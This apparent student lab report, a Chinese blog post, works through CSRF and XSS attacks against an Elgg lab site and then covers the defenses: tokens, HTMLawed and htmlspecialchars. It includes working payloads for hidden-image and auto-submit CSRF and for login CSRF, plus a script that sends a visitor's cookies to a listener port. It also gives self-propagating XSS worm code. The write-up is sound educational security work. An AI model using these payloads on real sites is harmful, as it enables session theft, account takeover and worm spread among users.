信息系统安全 | Web安全

网安 · 2023-06-08 · 1259 人浏览
信息系统安全 | Web安全

因为在正文里嵌了单独的一个<script>标签,导致了对自己网站的XSS攻击,悲

image-20230608110930812

CSRF GET

①基于GET请求的CSRF攻击,需要实现Alice在不经意间加Samy好友的功能。首先通过HTTP Header抓取正常的加好友请求,可以看到这是一个形如http://www.csrflabelgg.com/action/friends/add?friend=xx的GET请求

image-20230605194703310

②xx为所加好友的编号,这里samy的编号45可以通过另外一个账号如Boby对Samy发起好友申请查看,如下图

image-20230605194724707

②接下来修改www.csrflabattacker.com的主页,首先修改/etc/apache2/sites-available/000-default.conf文件,添加DirectoryIndex字段,设置主页为index.html

image-20230605194930060

index.html的内容如下,通过img字段发送GET请求,因为这个时候Alice与Elgg保持会话,所以这个请求发送时会附带Alice的cookie,从而使Alice添加Samy为好友.

<html>
    <head>
        <body>
            <img hidden="true" src="http://www.csrflabelgg.com/action/friends/add?friend=45" />
        </body>
    </head>
</html>

④通过邮件发送www.csrflabattacker.com这个攻击网址给Alice

image-20230605195831144

⑤Alice受到带有网址的邮件,如果点击,则会触发主页中的img请求

image-20230605200035912

⑥抓包发现Alice确实发送了加好友请求

image-20230605200545371

⑦此时Alice已经添加Samy为好友!

image-20230605200604766

CSRF POST

①使用POST请求修改Alice的主页,首先使用一个账号正常修改主页,抓包查看正常的报文及其字段

image-20230605212937763

②可以看到修改报文附带以下字段,其中description字段控制着主页内容

image-20230605213131639

③根据以上信息使用javascript构造POST请求,具体内容如下.fields变量存储上以上这些字段的input标签.将这个脚本写入www.csrflabattacker.com的主页中

<html>
<img hidden="true" src="https://typora-img-1311051873.cos.ap-beijing.myqcloud.com/typora/202303221053311.jpg" />

<body>
    <script type="text/javascript">
        function csrf_hack() {
            var fields;
            fields += "<input type='hidden' name='name' value='Alice'>";
            fields += "<input type='hidden' name='description' value='hacked by U202012007 Jie Huang'>";
            fields += "<input type='hidden' name='location' value=''>";
            fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
            fields += "<input type='hidden' name='guid' value='42'>";
            fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
            fields += "<input type='hidden' name='briefdescription' value=''>";
            fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
            var url = "http://www.csrflabelgg.com/action/profile/edit";
            var p = document.createElement("form");
            p.action = url;
            p.innerHTML = fields;
            p.target = "_self";
            p.method = "post";
            document.body.appendChild(p);
            p.submit();
        }
        window.onload = function () { csrf_hack(); }
    </script>
</body>
</html>

④同样发邮件给Alice,Alice点击后触发POST请求

image-20230605214203986

⑤此时查看主页,已经被篡改!

image-20230605214246453

login CSRF

④login CSRF主要实现了账号的顶替,首先正常登录,查看正常的login报文,login报文附带了username,password,persistent等信息.

image-20230605214709281

⑤这里可以不需要JavaScript构建post表单,直接通过网页控制台就可以查看登录界面元素,定位登录表单,把这整个复制下来即可

image-20230605215621194

⑥复制下来的表单如下,在usernamepassword字段填入Samy的账号密码.最后写一个script用于表单发送出去.以下就是主页内容

<form method="post" action="http://www.csrflabelgg.com/action/login" class="elgg-form-login elgg-form">
    <fieldset><input name="__elgg_token" value="roMNct_LB7fLv_dXiu-3SA" type="hidden"><input name="__elgg_ts"
            value="1685972950" type="hidden">
        <div>
            <label>Username or email <input value="samy" name="username" autofocus="autofocus" required="required"
                    class="elgg-input-text" type="text"> </label>
        </div>
        <div>
            <label>Password <input value="seedsamy" autocapitalize="off" autocorrect="off" name="password" required="required"
                    class="elgg-input-password" type="password"> </label>
        </div>
        <div class="elgg-foot">
            <label class="mtm float-alt">
                <input name="persistent" value="true" type="checkbox">
                Remember me </label>

            <input value="Log in" class="elgg-button-submit elgg-button" type="submit">
            <ul class="elgg-menu elgg-menu-login elgg-menu-general elgg-menu-hz mtm elgg-menu-login-default">
                <li class="elgg-menu-item-register"><a href="http://www.csrflabelgg.com/register"
                        class="elgg-menu-content registration_link">Register</a></li>
                <li class="elgg-menu-item-forgotpassword"><a href="http://www.csrflabelgg.com/forgotpassword"
                        class="elgg-menu-content forgot_link">Lost password</a></li>
            </ul>
        </div>
    </fieldset>
</form>
<script>
    document.forms[0].submit();
</script>

⑦同样是发邮件给Alice,附带攻击网址

image-20230605215955651

⑧Alice点击后,画面闪过登录表单界面,随后发现成功登陆上Samy的账号!

image-20230605220029203

CSRF 防御

①CSRF防御可以开启gatekeeper,即使用安全令牌和时间戳来防止跨站脚本攻击.开启方式是修改/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg/ActionService.php中的gatekeeper函数,注释掉开始的永真判断.

image-20230605220637233

②开启防御后,login CSRF失效,因为我们使用的时间戳和token都是samy正常登录留下的,由Samy当时的会话,时间戳决定token.而Alice与Elgg的会话ID肯定与Samy和Elgg的会话ID不同,那么肯定会验证失败.所以无法登录

形式化来说, $token = func(time,id)$,$func(time_,id_{samy})\neq func(time,id_{alice})$

image-20230605223135814

③POST请求因为没有附带时间戳和token信息而被直接拒绝

image-20230605222234888

image-20230605222259823

④GET CSRF攻击同理,没用两个字段从而被拒绝操作

image-20230605222932156

⑤如果要查看Alice自己的token也容易实现,就如之前得到Samy的token一样.通过抓包Alice的登录报文即可

XSS COOKIE

①通过XSS攻击得到Alice的COOKIE,首先Samy在主页填入以下脚本信息,脚本内容是通过img标签触发get请求,从而将自身的cookie作为c字段发送给localhost的12007端口.这里因为在同一台机子上使用localhost即可,否则应该是攻击者的主机IP地址

<script>document.write('<img src=http://localhost:12007?c=' + escape(document.cookie) + ' >');  </script>

②Samy将这段脚本填入brief description

image-20230605232536765

③攻击者打开终端开始监听,Alice如果点开Samy主页,脚本就会被解析运行,从而将cookie发送.在监听终端可以看到Alice的cookie

image-20230605232757447

④对比监听终端受到的cookie和浏览器控制台存放的cookie,一致

image-20230605232912032

XSS AJAX

①AJAX攻击可以用来篡改主页,通过JavaScript脚本发送HttpRequest来篡改网页.脚本内容与先前的CSRF POST基本一致,不过更加隐蔽一点,不需要用户点击恶意网站.

image-20230605234355328

②脚本内容如下,主要是description字段

<script type="text/javascript">
    window.onload = function () {
    var token = "__elgg_token=" + elgg.security.token.__elgg_token;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var name = "&name=" + elgg.session.user.name;
    var desc = "&description=" + "Samy is my hero hacked by U202012007 Jie Huang" +
    "&accesslevel[description]" + "2";
    var guid = "&guid=" + elgg.session.user.guid;
    var content = token + ts + name + desc + guid
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
        if (elgg.session.user.guid != 47) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script> 

③脚本填入About me中,记得使用html进行编辑,否则脚本会被解析成普通文字

image-20230605233851110

④Alice访问攻击者主页,通过HttpHeader可以看到Alice发送了修改主页请求

image-20230605233956321

⑤查看主页,已经被篡改!

image-20230605234755746

XSS Worm DOM

①XSS蠕虫攻击在修改主页的基础上,将恶意代码也拷贝到了受害者主页.从而将危害进一步传播.如果使用DOM的方法,直接在先前的脚本中添加以下一部分内容.这部分内容可以将恶意代码本身也复制到受害者的主页.具体来说,通过getElementById("worm")获取当前恶意脚本代码本身,然后再构造description时附带这部分wormcode即可.类似递归的概念(虽然不是),篡改的内容除了恶意标语还有篡改代码本身,这主要是DOM解析特性决定的(如果没记错应该会先解析DOM树,然后在执行script).

.....
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);  
.......
var desc = "&description=" + "SAMY is MY HERO Hacked by U202012007" + wormCode;
......

②Alice点开Samy主页后,About me被篡改

image-20230605235705397

③Alice主页的html部分也被附带上了恶意代码

image-20230605235648731

④如果Boby点开Alice主页,同样主页会被篡改

image-20230605235736594

⑤同样Boby主页也被附带恶意代码,证明蠕虫攻击的效果

image-20230605235749956

XSS WORM LINK

①LINK方式比DOM方式更加简洁,首先把恶意脚本放入js文件中,wormcode(附加恶意代码)此时直接使用一个script标签引用这个js文件即可.

// worm.js in /var/www/CSRF/Attacker
window.onload = function() {
        var wormCode = encodeURIComponent("<script type=\"text/javascript\" " +"id = \"worm\" " +"src=\"http://www.csrflabattacker.com/worm.js\">" +"</" + "script>");
        var token = "__elgg_token=" + elgg.security.token.__elgg_token;
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
        var name = "&name=" + elgg.session.user.name;
        var desc = "&description=" + "SAMY is MY HERO Hacked by U202012007" + wormCode;
        desc += "&accesslevel[description]=" + "2";
        var guid = "&guid=" + elgg.session.user.guid;
        var content = token + ts + name + desc + guid;
        var sendurl="http://www.xsslabelgg.com/action/profile/edit";

        if (elgg.session.user.guid != 47) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
}

②此时在主页只需要写一个script标签引入刚刚写的js文件即可

<script type="text/javascript" id="worm" src="http://www.csrflabattacker.com/worm.js">
</script>

image-20230606000656495

③查看Samy主页,发现worm.js确实被解析.接下来的攻击效果与DOM一致

image-20230606001123434

④ALICE的主页会被篡改

image-20230606001148292

⑤主页html部分也会附带恶意脚本

image-20230606001200937

XSS 防御

①第一种XSS防御是HTMLawed,通过管理员打开

image-20230606094445790

②打开后HTMLawed,恶意脚本的\<script>标签会被脱掉,从而无法完成正常的script解析与执行.

image-20230606094937906

③另一种防御是PHP内置的方法 htmlspecialchars(),可以修改/var/www/XSS/Elgg/vendor/elgg/elgg/views/default/ output/这个目录下的

text.php,url.php,dropdown.php,email.php来开启这个功能.

image-20230606095933099

④开启后,它会对用户输入中的特殊字符进行编码,例如将"<"转换为"\&lt" ,">"转换为"\&gt",如下图所示

image-20230606095907727

信息系统安全 web安全
  1. 文明老师ncf 2023-07-08

    哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈

  2. 文明老师理智粉 2023-06-12

    哈哈哈哈哈哈哈怎么会把自己网站攻击了呀!戏剧效果完美!

    1. Axuanz (作者)  2023-07-03
      @文明老师理智粉

      GLS! 一直没发现你回我了hhh

Theme Jasmine by Kent Liao